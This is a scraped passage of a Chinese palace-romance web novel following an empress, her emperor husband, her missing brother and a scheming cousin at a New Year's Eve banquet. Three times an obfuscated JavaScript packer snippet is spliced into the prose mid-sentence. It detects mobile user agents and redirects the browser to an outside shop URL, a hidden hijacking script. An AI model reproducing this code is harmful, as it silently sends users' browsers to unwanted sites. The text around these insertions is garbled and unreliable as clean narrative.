李德全不知道陛下是何意思,他知道皇后娘娘一直忧心薛将军事,几日来脸上很少见笑容,可他知道陛下不喜薛将军,于是只得小心道:“许是才怀了身子不久,娘娘未能一时未能适应,所以并未表现出比以往开心。” “是么?” 谢敛不愿去细想她为何不开心,只能勉强信了李德全的话。 大概真的如李德全所说的一样,她只是一时没能接受,才会这般平静。 又或者,她还在因为那日他毫不留情的拒绝,而生他的气。 一想到薛弗玉真有可能是因为薛岐的事茶饭不思,连怀了他的孩子都不能让她高兴分半,他的心里就生出一股气。 “今晚去皇后的宫中,告诉皇后一声。” 他倒要看看,这么多天过去了,如今又怀着他的孩子,她是不是还要继续与他置气! 即便是让李德全去凤鸾宫通传了,可是当晚谢敛还是在接近亥时的时候才离开金銮殿,去了凤鸾宫。 他进去的时候,薛弗玉正坐在暖炕上,问碧云今日可有薛岐的消息。 碧云话才说完,就听见谢敛进来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007137|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 薛弗玉瞬间收起脸上的担忧,起身正要去迎男人,见了他已经进来,她下意识要行行礼。 然而谢敛已经迈着长腿到了她的跟前,双手扶住了她的手臂,皱眉道:“说多少次了,皇后不必如此与朕客气。” 薛弗玉摆出温和的神色:“臣妾以为陛下不会过来了。” 这男人指不定还在与她置气,故意这么晚才来,他就不怕她为了当这个贤后,真的饿着肚子等他来一起用膳? 他怎么忘了,现在她的肚子里还有一个,可不能轻易饿着。 薛弗玉在心里腹诽。 “今日奏疏有点多,所以晚了些。”谢敛解释道。 说完睨了一眼双眸微垂,神色温柔的薛弗玉,表面上看她似乎没有因为他的晚来而对他生气,仿佛那日在沁梅园中对他苦苦哀求的画面,只是他一个人的错觉。 她依旧是那个温柔体贴的女子。 “陛下国事繁忙,臣妾若是因此对陛下生出不满,岂不是不明事理。”薛弗玉体贴道。 其实她才不信他忙的话,今晚白白让她等了这么久,也不让人来她这说一声,还不是因为他心里的气还未消,故意先晾着她。 他心里还有气,可知她的心里也是有的气,但她知道自己和他不同,他是皇帝,就算她再生气再失望,也不能表现出半分,即便是贵为皇后,她的恩宠也是系在他的身上,只要他一句话,她所拥有的都能化为灰烬。 思及此,她面上露出寻不出错的浅笑:“晚膳还在小厨房里热着,臣妾这就去让人传菜。” 说完她把手从他的掌心抽出,擦着他的身子出去外面吩咐传菜。 袖子柔软的布料从他的手背拂过,带起一阵说不清道不明的感觉,直到那触感消失,谢敛的心中生出一股消纵即逝的失落。 他转身跟了上去,对着她的背影皱了一下眉头。 “你今夜为了等朕,可是还未用晚膳?” 谢敛沉默地在她身后站了半晌,直到宫人送了菜来,才走过去坐下,而后微微抬头,问正在认真布菜的薛弗玉。 深邃的黑眸看着她,仿佛想要看透她。 薛弗玉顿了一下,接着手放在小腹上,道:“臣妾失仪,怕饿着肚子里的孩子,已经先用了一点,望陛下恕罪。” 谢敛没想到她会这么回答,他愣了一瞬,不自然地收回目光:“你也是为了孩子,朕如何能怪你,再陪朕用一次膳吧。” 真不怕把她撑死?薛弗玉在心里骂了他一句,面上却听话地坐在了他的对面。 …… 夜晚在榻上,薛弗玉背对着他躺着,刚酝酿出一点睡意,一具温热的身躯突然贴上了她的后背,接着滚烫的掌心探了进去。 她惊得吓了一跳,隔着布料按住了不安分的手,语气难得带了羞恼:“陛下,张太医说了,如今月份还不稳,不宜行房,陛下且忍一忍!” 谢敛被她的话一提醒,讪讪地收回了手,轻咳了一声:“朕,朕一时忘了......” 他暗自咬牙,温香软玉在怀,却不能做什么,真是搬起石头砸自己的脚。 难得看他吃瘪,薛弗玉仿佛又看见了多年前少年的影子。 可一想到他如今这般对待阿弟,她又收起唇边的笑意,只剩下自嘲。 12. 第 12 章 年二十九这一天,皇帝免了众大臣的早朝。 今晚的除夕宴设在了含章殿。 除夕宴除皇帝宴请大臣之外,身为皇后的薛弗玉也要宴请大臣的家眷。 平日里没人的含章殿,在年二十九这一晚会变得热闹非凡。 素月和碧云为了让她们的主子不被人比下去,彰显一国之后的雍容华贵,足足花了两个时辰给她梳妆打扮。 但是考虑到了她如今怀着身子,所以不敢让她和去年一样穿着华丽的宫装,只挑了一身轻便的齐紫宫装给她穿上。 就连头上簪的也是些紫色小支的绒花,最后在正面发髻上插了一支镶嵌红宝石的凤钗,凤嘴上叼着一颗价值连城的珠子,正好落在她白皙饱满的额间。 面上只略施粉黛,并未画浓妆。 可即便如此,薛弗玉打扮好之后,还是让素日见惯了她的素月和碧云看得都忘记了呼吸。 怪不得前太子一直觊觎娘娘。 “貌丰盈以庄姝兮,苞湿润之玉颜。①”素月忍不住赞叹。 “去,你这小蹄子!哪里学来的诨话也往是能娘娘身上套的!” 碧云小心觑了薛弗玉一眼,然后轻轻推了素月一把,笑骂道。 素月后知后觉自己说了什么,她红了一张脸,忙道:“奴婢一时情不自禁,还请娘娘恕罪!” 倒是薛弗玉听见她念出来的这句时,一时有些恍惚。 很久以前也有人曾对她念过。 少年偷偷约她见面,情不自禁时对她念了这句不知从哪本书上看到的诗文,只是那张涨得通红的脸早已模糊。 她唇边泛起清浅的笑意:“素月也喜欢这句诗文吗?” 素月本是心惊胆战,怕娘娘降罪,没想到娘娘不仅没有降罪她,更是没有被冒犯而生气的意思。 她战战兢兢道:“奴婢无聊时在书上看到的,奴婢没有要冒犯娘娘的意思!” “无妨,本宫也喜欢这句诗。” 正如薛明宜与谢敛少年时一般,她年少时,也曾感受过少年赤诚的感情。 只是当时她的心并不在男女感情上,未曾回应过那少年,待她渐渐明白过来,想要回应的时候,家中已发生了重大的变故。 遗憾吗? 或许是有的。 可过了十多年,那本就不多的情感,也在这皇宫中渐渐消散了...... 素月不知道她为何说这句话,只觉得她说出这话时,似乎带着一丝淡淡的遗憾,她思忖着该如何接话。 “时辰不早了,走吧。” 不等她有所反应,薛弗玉已经转身往殿外走去。 素月和碧云赶紧跟了上去。 凤鸾宫到含章殿有段距离,薛弗玉坐着步撵到的时候,花了差不多半个时辰。 她才扶着俩人的手下了步撵,穿着玄色冕服的高大男人走到了她的身前。 男人身上冷冽的气息袭来,接着一只干燥温暖的手掌伸到她眼前,他用深不见底地黑眸静静看着她,耐心地等待着她的动作。 薛弗玉很少见他穿成这样,先是愣了一瞬,但是很快又把手放在他的掌心,再次抬头看像他时,那双秋水盈盈的眸子弯了弯,波光潋滟般流转。 “让陛下久等。” 她轻柔低语,一如既往地柔顺。 “皇后今日,很美。” 美到他突然不想让旁的男人看见她,她本来就只属于他一个人的,今晚却要让别的男人瞧了去,他的心里莫名生出不悦来,不满她为何要生得这样美。 倒是薛弗玉在他只说出前面四个字的时候,下意识想要抬手狠狠捂住他的嘴,怕他会在后面接那日他在她的寝宫里,对着她故意说的轻浮的话。 等他说完,她暗暗松了口气,他们二人身后是一众跟着的宫人,谢敛看重帝王威严的人,怎么可能当众说出那日的话来。 为了掩饰自己内心生出的乱七八糟的念头,她故意问:“陛下今日是吃了糖?” 说话的时候,她仰起一张脸盯着他,唇边隐隐带了笑意。 谢敛握着她的手暗自用了点力,像是惩罚她,又像是为了握紧她。 他眉梢微挑:“皇后还有心思同朕玩笑,看来是不紧张。” 说完瞧见她在狐裘里头穿的宫装不似往年繁复,略显单薄,又见她一双耳朵似被冻得微微泛红,他靠近低声问:“穿这么少,冷么?” 薛弗玉感受着他掌心传来的温暖,轻轻摇头:“不冷,如今怀着身子,不宜穿得太过厚重,否则臣妾很容易累。” 提到身孕,谢敛的某色微闪,喉头上下滚了滚,最后只道:“待会儿在里头若是觉得累了,可早些回去。” 反正她是皇后,只要他不拦着,谁敢说她的不是? 薛弗玉只当他难得贴心,轻轻嗯了一声算是回应。 二人说着话很快到了含章殿的大门前,温热的气息夹杂着酒香从里头扑面而来,身后的宫女忙上前替她解了狐裘。 一进去,薛弗玉顿时感受到了众多汇聚在自己身上的目光,而后又快速收回。 想起谢敛还握着自己的手,她偷偷用了点力,想要把手从他的掌中抽中,结果纹丝不动,还被谢敛暗含警告地瞥了一眼。 这还是他第一次牵着她接着众人的跪拜,薛弗玉有些意外,她悄悄抬头看了一眼身边的男人,发现他神色如常。 也是,除了高门之间知道他和薛明宜的事外,民间一直传的可是她和谢敛共患难的事,歌颂他即便登基为帝,也不忘发妻,更是为了发妻空悬后宫六载,有劝谏的,也推说自己不能对不起皇后。 实乃可歌可泣。 谢敛在乎百姓对他的评价,自然要在众人跟前扮演情深义重的皇帝。 可即便如此,殿内仍有不少待嫁闺中的少女心仪这位年轻俊美的帝王。 伴随着耳边山呼万岁和千岁的声音,谢敛带着她一步一步走上了帝后的御座。 被拉着坐下之后,她才听见谢敛沉着声音道了平身。 接着就是谢敛带着她走了下君臣同乐的章程,她面上始终挂着温和的浅笑。 很快便上了歌舞。 太乐蜀的乐师和舞姬在殿中费力表演,结果周围的臣子们要么在寒暄,要么在劝酒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007138|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛弗玉看到一半,转头去看身边的男人,却发现他一手握着杯盏,漆黑的眸中正盯着杯盏里的酒出神。 似乎每年的除夕宴,谢敛都不怎么喜欢。 正待收回目光,没想到男人察觉到了她在看他,他一偏头,对上她。 却不说话。 她在对方黑曜石般的眼瞳中看见了自己的脸。 很快她明白过来,弯了弯唇角,问:“陛下可是醉了?” 谢敛才喝了几杯酒,根本没有任何的醉意,他的酒量连常年在军营中的将士都比不了,骤然听她问,目光落在她身前的酒盏上,下巴扬了扬,示意她道:“今晚的酒醇香不醉人,皇后陪朕喝几杯。” 话音才落,却见眼前的女子眉心微蹙,只见她突然凑近他,抬手掩唇在他耳边柔声道:“陛下还说自己没醉,眼下连臣妾怀了身子都忘了?臣妾如今不宜饮醉,只能委屈陛下和大臣们一起喝。” 随着她的靠近,一袭清冷幽香驱散了让他烦躁的酒气,也让他记起了她怀有身孕的事,他握着酒盏的手一紧,却莫名更加的烦躁。 薛弗玉很快就退了回去,她悄悄打量着谢敛的神色,在心里疑惑他到底醉没醉。 “今日除夕宴,臣女崔婉愿为陛下献舞一曲,请陛下应允。” 清脆的声音在殿中突兀地响起,薛弗玉抬眼看去,正好见一名十六七的妙龄女子走到殿中。 一时间,殿内的人纷纷窃语。 “陛下,崔侍郎家的千金还等着呢。” 见谢敛迟迟没有说话,薛弗玉颇为善意的提醒,毕竟让人在众目睽睽下被人讨论,委实不太好。 谢敛听见她的催促,他看了她一眼,发现她神色平静,眉头忍不住一皱。 “皇后就这么想看?”他问。 “听说崔姑娘一舞动京城,臣妾确实也想见识。” 这是她的真心话,她从前也喜欢跳舞,也曾以舞会友,只是自嫁了人之后,便再未跳过。 若是还有机会...... 罢了,怕是再无机会了。 她看了一眼身边穿着冕服的男人,在心里感叹。 “准了。”谢敛还是见到她脸上的期待。 崔婉听见这一声,脸上的高兴是藏不住的。 很快她就换好了衣裳。 琴音响起,少女窈窕的身姿随着悠扬的乐声起舞。 在场的大多也听说过崔婉,只是从未见过她跳舞,所以当她跳了一段舞后,几乎所有人的目光都被她吸引了。 谢敛却无心崔婉的舞姿,他不知道薛弗玉方才的举动,是否为了表现自己的贤惠。 可她真的不明白崔婉存了什么心思么? 真有女子愿意忍受与别的女人分享自己的丈夫? 他撇了一眼正看得入神的女子,仰头饮下盏中的酒。 “崔姑娘不愧是一舞动京城。” 宋璋捏着酒盏,骤然听见身边同僚的赞美声,他不动声色地看了一眼上首坐着的薛弗玉。 喝了一口酒,他似有些遗憾道:“可惜她再也不跳了。” 那才是真的一舞动天下。 13. 第 13 章 崔婉跳完一支舞,有人给了她一杯酒。 她身上还穿着一身羽衣,娉婷地走上前,对着谢敛盈盈一拜:“愿吾皇万岁,福泽绵延,愿吾皇与皇后娘娘岁岁年年!” 薛弗玉本就欣赏她跳的舞,遂不做他想,在崔婉期待的目光之下,她眸中含笑,下意识举起了跟前的酒盏。 “崔姑娘舞姿动人,不知本宫日后是否还有机会再欣赏到?” 她这话一出,殿内众人的心思都活络了起来,心道难不成皇后娘娘是想要替陛下纳妃子?娘娘不愧贤明,看来他们家中待嫁的姑娘还是有机会的。 崔婉却有些意外,她盯着上首美到极致的女子,对上她温柔的双眸,脸上顿时一热,有些羞涩道:“娘娘若是喜欢,臣女随时都可以跳给娘娘看。” “那本宫便不客气了。”薛弗玉眼中的笑意更甚,抬起酒盏就要往嘴里送。 众人见此也纷纷举起手中的酒盏。 谢敛偏头看她,黑色的眸子里看不出任何的情绪,他猜不透她的心思。 在场的明眼人都知道崔婉抱的是什么心思,偏偏她还不觉,甚至要引狼入室。 看来这六年来她在宫中过得太舒服,都要忘记人心的险恶了。 他突然按住要喝酒的女子,借着众人低头喝酒的时候,凑近她道:“皇后难道自己也忘了,你如今怀着身孕,不宜喝酒。” 温热的气息吐在耳边,薛弗玉感受到他带了薄茧的指尖贴着自己的肌肤,那是他常年握笔批阅奏疏的手指。 她转头,眼中带了清浅的笑意,柔声问:“陛下倒是提醒了臣妾,那不如,陛下替臣妾喝了?” 说着往手腕从他的指下移开,又故意将手中的酒盏送到了男人的唇边。 谢敛没想到她能在大庭广众之下作出这般举动,一时怀疑喝醉了的人才是她,他望向眼前的女子,目光落在她那张牡丹花一般的脸上,本来想斥责她没有规矩,最后却鬼使神差地就着她的手喝下了那杯酒。 不知为何,好像她杯中的酒,似乎比他杯中的好喝...... “给皇后的酒换成茶。” 谢敛对着李德全吩咐道。 帝后恩爱的画面落在众人的眼中,有惊讶,有羡慕,也有嫉妒不甘,也瞬间浇灭了一大半人心里才生出的希望。 她们不禁想,娘娘比瑶池的仙子还要美上三分,性子又好,有了珠玉在前,陛下真的会看上她们吗? 坐在不远处的薛明宜握着酒盏的指尖发白,若不是在含章殿中,要时刻维持着得体的表情,不然她早已摔碎了手中的酒盏。 从他们二人一踏进来,她就不得不承认,二姐姐和谢敛从外形上看起来般配,觉得再如何,谢敛心里藏着的人是自己。 就连崔婉献舞她也没放在眼里。 谁知道刚刚亲眼看到二姐姐和谢敛,当着众人的面作出亲昵的动作,她顿时觉得自己的心像是泡在了酸水中,变得又酸又胀。 “成王妃脸色看着不太好,可是哪里不适?”与她坐在一起的宣王妃见此关心地问。 薛明宜勉强笑了笑,解释道:“昨日不慎吹了风,所以身子有些不适。” 宣王妃道:“近日天气寒冷,成王妃注意身体。” 薛明宜道谢,不再说话,她看了一眼上首正在说话的帝后,握着酒盏的手又用了力。 宣王妃顺着她的视线看去,见此羡慕道:“陛下和娘娘真是恩爱,不过换做是哪个男人,娶了娘娘都不会冷落的,我记得娘娘和你还是堂姐妹呢。” 薛明宜敷衍的嗯了一声,垂下眼睛不再去看那上首碍眼的人。 是啊,就如宣王妃夸赞的一样,薛弗玉生得那样美,又与谢敛朝夕相处了十年,是个男人都不可能会无动于衷! 可明明那日在沁梅园,她说她喜欢白梅,男人虽然没有将手中的那枝给她,却还是亲自折了一枝。 不可能,谢敛才不是那么肤浅的人,否则他的后宫早就住满了,他不会喜欢二姐姐的! 且他一直以为是二姐姐故意取代她的,当年他曾找过她质问她为什么,出于私心,她只说是二姐姐求到了她跟前。 她说她同情二姐姐的遭遇,所以才会忍痛答应了二姐姐,让二姐姐代替自己嫁给他。 他现在只不过是为了自己在百姓心中的形象,与二姐姐逢场作戏罢了! 这般安慰完自己,薛明宜的神色才好了许多。 等她再次抬头的时候,却见上首只剩下谢敛一人,而薛弗玉不知道去了哪里。 心里生出古怪的感觉,她一边喝酒,一边目光时不时故意扫过宋璋所在的位置,不到一炷香的时间,她见宋璋突然看了一眼空空的后位。 不多时,就见宋璋不知与身边的同僚说了什么,然后起身出了含章殿。 她的心跳加快,忆起十年前的事情来。 那时候堂姐才回京,将二伯安葬后不久,她在家中听闻有人上门同二姐姐提亲,然而祖母连门都没让人进。 当时他们已经打定了主意,让二姐姐代替她嫁给谢敛。 后来她着人去打听,才知道上门提亲被拒之门外的人正是宋璋。 十年前的宋璋只不过是名不见经传的翰林编修,即便二姐姐不代她嫁人,薛家人也看不上他。 听说宋璋和二姐姐是一起在西北长大的。 二人青梅竹马,只可惜因为她的事,他们注定是不能成了。 当时的她还因此心生愧疚,可今时今日,她却因为他们先后离开含章殿而生出兴奋。 怎么会有这么巧的事? 说不定他们余情未了,素日里一个在前朝一个在后宫,根本没有机会见面,今晚的除夕宴正好给了他们见面互诉衷肠的机会。 他们怎么会放过? ...... 薛弗玉年年都不喜欢宫中举办的除夕宴,她在殿中与谢敛演完恩爱夫妻之后,便借着自己有身孕,与谢敛说了提前离开。 谢敛倒是没说什么,爽快地放她走了。 出了含章殿,素月立即替她披上了保暖的狐裘。 “娘娘可是要回去?” 碧云上前扶着她问道。 “随便走走,等差不多了再回去。” 薛弗玉回头看了一眼热闹的含章殿,此时更觉得自己与之格格不入。 自从父母相继去世,她已经好久不曾感受过真正的除夕团圆了。 她的目光穿过重重障碍,落在了独自饮酒的宋璋身上。 宋璋似有所感,视线不经意与之对上,交汇后又很快分开。 “附近就是碧湖,听说湖边点了一圈的红灯笼,夜晚亮起来后很美。”碧云道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007139|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>薛弗玉下了石阶,点头:“那便去那边走走吧。” 因着本来距离就不远,薛弗玉没有选择坐步撵,而是走了过去。 一行人很快就到了碧湖。 “真美。”素月看见眼前的景象,忍不住感慨。 本以为只是绕着碧湖放了一圈的红的灯笼,谁知道湖面上还有有许多的莲花灯漂浮着,远远一看,就像是天上的星空倒在了湖上。 薛弗玉看着那些星星点点的光,走进了建在湖面上的亭子中。 她屏退除了素月碧云二人之外的其余宫人,坐在铺了厚厚毛毯的美人靠上,一只手着栏杆,一张脸往亭子外看去。 “娘娘,这里风大,咱们还是回去吧。” 不到一炷香的时间,素月便劝她,毕竟她现在怀着身孕,若是不小心着了风寒,陛下恐怕会治她们的罪。 “放心,本宫的身子不至于连一点风都吹不得。”薛弗玉悠悠道。 上次她晕倒不过是人为的意外。 素月还想要再劝她,却被碧云给拦住了。 “娘娘喜欢这里。”她解释道。 这里是当年娘娘送别薛将军的地方,也是上一次见薛将军的地方。 不知道过了多久,身后响起了沉稳的脚步声。 “微臣见过皇后娘娘。” 清润的嗓音在寂静的夜晚响起。 薛弗玉身形一滞,而后才缓缓转头,对上青年清俊的脸。 “宋大人也是来赏灯的?”她唇边泛起一抹笑。 宋璋垂下眼眸,不去看她的面容,“臣听人说夜晚的碧湖比白日好看,醉了酒,便想着来这里吹风醒酒,也借此赏灯。” 薛弗玉莞尔:“大人倒是和本宫一样的好兴致。” 宋璋听着她温柔的嗓音,掩在袖中的手渐渐握紧,再抬眸,眼中已是一片清明。 “娘娘在此,臣不便打扰,臣告退。” 说着就要转身离开。 “慢着!” 薛弗玉叫住他,因为着急,语调比平时高了些。 她察觉后,对着碧云和素月道:“本宫有几句话要问宋大人,你们在外面守着。” 若是别的妃子与外臣独处,素月和碧云自是担心,可薛弗玉是皇后,在宋璋面前就是君。 君臣说话,她们没什么好担心的。 俩人听话地退出亭子。 “阿弟他,可有消息?” 等人离开,薛弗玉这时候才露出担忧的神情。 早在谢敛拒绝帮她找人之后,她就遣碧云暗暗给宫外的宋璋送了信,请求他帮自己寻人。 宋璋二话不说就答应了,他本不该淌这趟浑水,可她却找上了他,除此之外,他也是看着阿岐长大的,算是他的半个阿兄。 总是不能坐视不管。 他看着近在咫尺的女子,克制着想要靠近的冲动,压下心里的情绪,低声回她:“臣派出去的人还在寻找,不过得知了一件事,那擅自改道回京的人,并非是阿岐。” 薛弗玉手指瞬间掐住栏杆,因从宋璋的口中仍旧得不到薛岐的消息,她的脸色并不好看。 “是谁?”她白着脸问。 宋璋道:“臣的人得到消息,当日要改道的人,是成王妃。” “薛明宜,怎会是她?” 薛弗玉惊愕。 14. 第 14 章 湖面的冷风吹得薛弗玉脸色愈发苍白。 “娘娘......” 宋璋看着眼前的女子脸色发白,他有许多的话想要说,可碍于身份,最后都通通咽了回去,眼中的担忧一览无余。 半晌,却听见她叹了口气:“宋璋,或许当年我不该遵从父亲的意愿扶棺回京,这样就不会发生后来的事,阿弟他也不会遇到危险。” 更不会为了她而陷入朝廷诡谲的风云中。 到底是她连累了阿弟。 宋璋却似乎从她的话中听出了不同寻常的地方,他眉头微皱:“娘娘的意思是?娘娘可是发现了什么?” 薛弗玉到底没有说什么,她冷静下来,道:“没什么,或许只是本宫的猜测罢了,阿弟的事情还要继续拜托大人,只是有一点,如遇麻烦,大人切记及时抽身,莫因为阿弟的事情惹了陛下不快。” 宋璋是宰辅,而阿弟又是手握兵权的将军,若是让谢敛知道他们之间的联系,以他多疑的性子,怕是会对他们二人不利。 她的话带着关心,宋璋心神微动,清润的嗓音像是浸了月华:“娘娘说得这些臣都明白,这也是臣唯一能为娘娘做的事,再有,娘娘也不必如此与臣见外,毕竟从前......” “拜见陛下!” 不等宋璋的话说完,亭子外便响起了素月和碧云的声音。 “皇后和宋大人好兴致。” 薛弗玉才站了起来,就看见谢敛携着一身的寒气进了亭中。 “臣拜见陛下。” 宋璋立即退开给他行礼,敛去眼底的情绪。 谢敛不动声色扫了一眼毕恭毕敬的男人,缓步走到薛弗玉的身前,自然而然地牵起她的手。 她的手带着冰凉,还有些僵硬,他愣了一瞬,目光在他们二人之间来回逡巡,最后又落回了薛弗玉的身上。 待他发现他们之前的距离不近后,心里的那点疑惑暂时打消。 “除夕宴可是散了?”薛弗玉感受着他掌心的温热,温声问他。 幸而她并未找什么偏僻的地方与宋璋见面,更没有屏退身边所有人,这才让谢敛没有怀疑的机会。 湖边是跟着她的其余宫人,亭子外是素月和碧云,任谁也挑不出她的错。 谢敛嗯了一声,带着她重新坐在了美人靠上,他指尖摩挲着她滑腻的手背,状似无意道:“方才在含章殿被刘均那老匹夫带着人轮流敬了酒,散了后便想到湖边醒醒酒,没想到皇后也在。” 闻言薛弗玉唇边染上笑意,柔声道:“刘大人若是知道陛下在背后这样说他,定然会伤心的。” “朕只在你跟前说。”谢敛揉了揉眉心,他确实酒量不错,可架不住那些大臣们轮番敬酒,到底是醉了。 说着他将头靠在了薛弗玉的肩上,接着慢慢闭上了眼。 “这里风大,陛下又喝醉了,若是被风吹了会头痛,还是早些回去歇着吧。”薛弗玉看了一眼杵在一边的宋璋,用眼神示意他先离开。 宋璋读懂了她眼底的意思,谢敛来了,他在这里也不能继续和她商量薛岐的事情,不如先离开,他垂下眼眸,对着薛弗玉道:“臣就不打扰陛下和皇后娘娘了,臣告退。” 谢敛没有睁开眼睛,随意挥了挥手,让他退下。 等宋璋出了亭子后,谢敛心里那点因为看见他们在亭子里生出的烦躁,也渐渐被风吹散了。 亭子里一时之间陷入了安静之中,薛弗玉只觉得谢敛压在她肩上的头有些沉,风把他身上的酒气送到了她的鼻尖。 她从未在他身上闻到这么重的酒气,似乎谢敛从来都不爱喝酒,看来今晚他是真的醉了。 可是她为何要陪他一直在这里吹着冷风?宋璋已经离开,她继续在这里也属实没有这个必要。 “陛下?”薛弗玉轻轻唤了一声。 身子跟着微微动了动,谁知道男人却不满道:“别动,让朕再靠一会。” 薛弗玉:...... 还以为他醉死过去了。 他们并未发现,湖对岸依稀站了一道纤细的身影,此时那人正恨恨地盯着亭子里靠在一起的身影。 “娘娘,这里风大,咱们还是回去吧。” 宝扇担心道。 自从那日在沁梅园,陛下折了一枝白梅给娘娘后,娘娘心里便愈发坚信陛下对她还有旧情,陛下的心里还有她。 可是今晚在她看来,陛下就算是还对自家娘娘存有旧情,可他对待皇后娘娘看着也并不像娘娘所说的那般,只是逢场作戏。 毕竟已是十年的夫妻,是个人都会生出感情来。 薛明宜藏在袖中的手狠狠掐着,一双眼睛死死盯着那边。 明明她特意让那小太监引着谢敛往那边去了,明明二姐姐和宋璋孤男寡女的在亭子里,他也看见了。 为什么谢敛没有怀疑他们两个有奸情,自古帝王多薄情,疑心重,难道看着自己的妻子和别的男人夜里单独相处,他也能忍得了的? 她深深吸了一口气,看来她有必要告诉谢敛,薛弗玉和宋璋的事了。 “臣见过成王妃。” 清越的嗓音自身旁传来。 薛明宜一个激灵,差点尖叫出声,这个地方她找得隐秘,却不想还是有人发现了她在这里。 她一转身,却见穿着绯色官袍的青年,立在距离自己一丈远的地方。 “宋大人,好巧。”薛明宜心虚道。 她悄悄打量着眼前的青年,从前薛家看不上的翰林编修,谁知道才短短的十年,就已经官至宰辅,成了如今大周最年轻的权臣。 听说他已是而立之年,却至今未曾娶妻,这些年不少媒婆上门,京中也有许多属意他的女子,可他一概不理。 “夜已深,王妃若是再不出宫,待朱雀门落钥,怕是只能留在宫中过夜了。”宋璋道。 这话本事客套,谁知道落在薛明宜的耳中,却像是暗暗的嘲讽她。 一个郡王妃在宫中逗留,是何目的? 薛明宜感觉自己的脸面被宋璋撕了下来,她暗自咬牙:“多谢宋大人关心,若我真的出不了宫,自有姑母收留。” 宋璋似乎没有听出她话里的情绪,他道:“也是,太后娘娘是王妃的亲姑母,定然不会看着王妃无家可归。” 话音才落,薛明宜的脸色一变,她紧张道:“你说这话是什么意思?” 难不成他猜到了她和姑母想要谋取的事? “臣没有别的意思。” 宋璋笑笑,并未立即回答她的话,近来京中各家之间的纷纷传闻,说成王妃回京,是陛下授意的 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都怪她当初自视清高,看不上落魄的七皇子谢敛,若不是她嫌贫爱富,如今皇后宝座上坐的人,就该是她! “不过,陛下是个顾念旧情的,许了王妃回京,还答应了王妃的请求,让薛将军亲自护送王妃回京。”宋璋不经意道。 本来还在气愤中的薛明宜,听见他后面那句话,脸色瞬间变了。 —— 薛弗玉见谢敛醉了,本来吩咐了李德全让人送了他回紫宸殿,谁知道男人却拒绝了。 最后跟着她一道回了凤鸾宫。 宫人早已备好了热水,二人先后沐浴,薛弗玉见谢敛沐浴完仍旧带着醉意,于是让人端了醒酒汤来。 “陛下先喝了这汤醒酒。” 薛弗玉亲自端了醒酒汤走到坐在暖炕上的谢敛身前,高大的男人因为醉酒,此时穿着白色寝衣安静地坐在一旁,犹如一只大型犬。 她的语气柔和了一些,顺道在他身边坐了下来。 等了半晌,直到她感觉自己端着醒酒汤的手有些酸了,身边的男人才动了动,从她的手中接过汤一饮而尽。 “你慢点!” 薛弗玉怕他呛到,忍不住提醒到。 谢敛喝完后顺手把碗放在了一边的炕案上。 见他喝完,薛弗玉这才放心,正准备起身去唤人,腰上突然被一双手禁锢住,接着男人俯身靠在了她的腰腹上。 “陛下......” 薛弗玉抬起的手不知道该往哪里放,语气有些无奈。 这男人醉酒怎么跟变了个人似的。 正在她胡思乱想之际,贴着她腰腹男人突然蹭了蹭她,只觉得醉酒后头痛欲裂。 唯有眼前女子身上的幽香,能让他缓解一二。 “玉姐姐......我有点难受,玉姐姐,你帮帮我好么......” 似撒娇,又似委屈。 薛弗玉怔愣,她突然想起,那是七年前争储最激烈的阶段,有一晚他回来后,也如今晚这般抱着她,说了同样的话。 她一心软,还是劝了阿弟相助谢敛争储。 如今又哪里还有什么玉姐姐,有的只是相敬如宾的皇后罢了。 15. 第 15 章 “陛下,您喝醉了,先回榻上休息吧。” 薛弗玉将手放在谢敛的手臂上,想要把他的手移开,只是没想到他察觉到了她的意图,箍在她腰间的双臂瞬间收紧,后又把头枕在了她的腿上。 简直就是在耍无赖。 薛弗玉从未见过的一面,她看了一眼炕案上的烛火,烛火就要燃到尽头,她心中生出些许的无奈。 “陛下,你怎么和小孩子一样啊......”她戳了戳他结实的手臂轻声道。 枕着自己的男人不仅没有听见她说话,还用头蹭了蹭她的腿,声音沙哑:“玉姐姐,就让我再靠一会儿。” 眼前的人是皇帝,不能动粗,薛弗玉在心里告诫自己,忍着想要把人推走的冲动,深吸了一口气,她道:“陛下,明日还要去给母后请安,咱们现在该休息了。” 过了许久,男人才动了动,他抬起头,一双墨玉般的瞳仁盯着她,平日里的凌厉早已没有,里面反而带了一丝迷惘。 他突然坐直了身体,就在薛弗玉以为他终于把话听进去时,谁知道男人一把将她搂进了怀中,下巴抵在她的发顶。 “玉姐姐,你怎么变了。”语气里满是委屈。 薛弗玉心里突然悸动了一下,这语气带着久违的熟悉,莫非谢敛喝醉了,记忆也出现偏差,以为现在还是他未登基的时候。 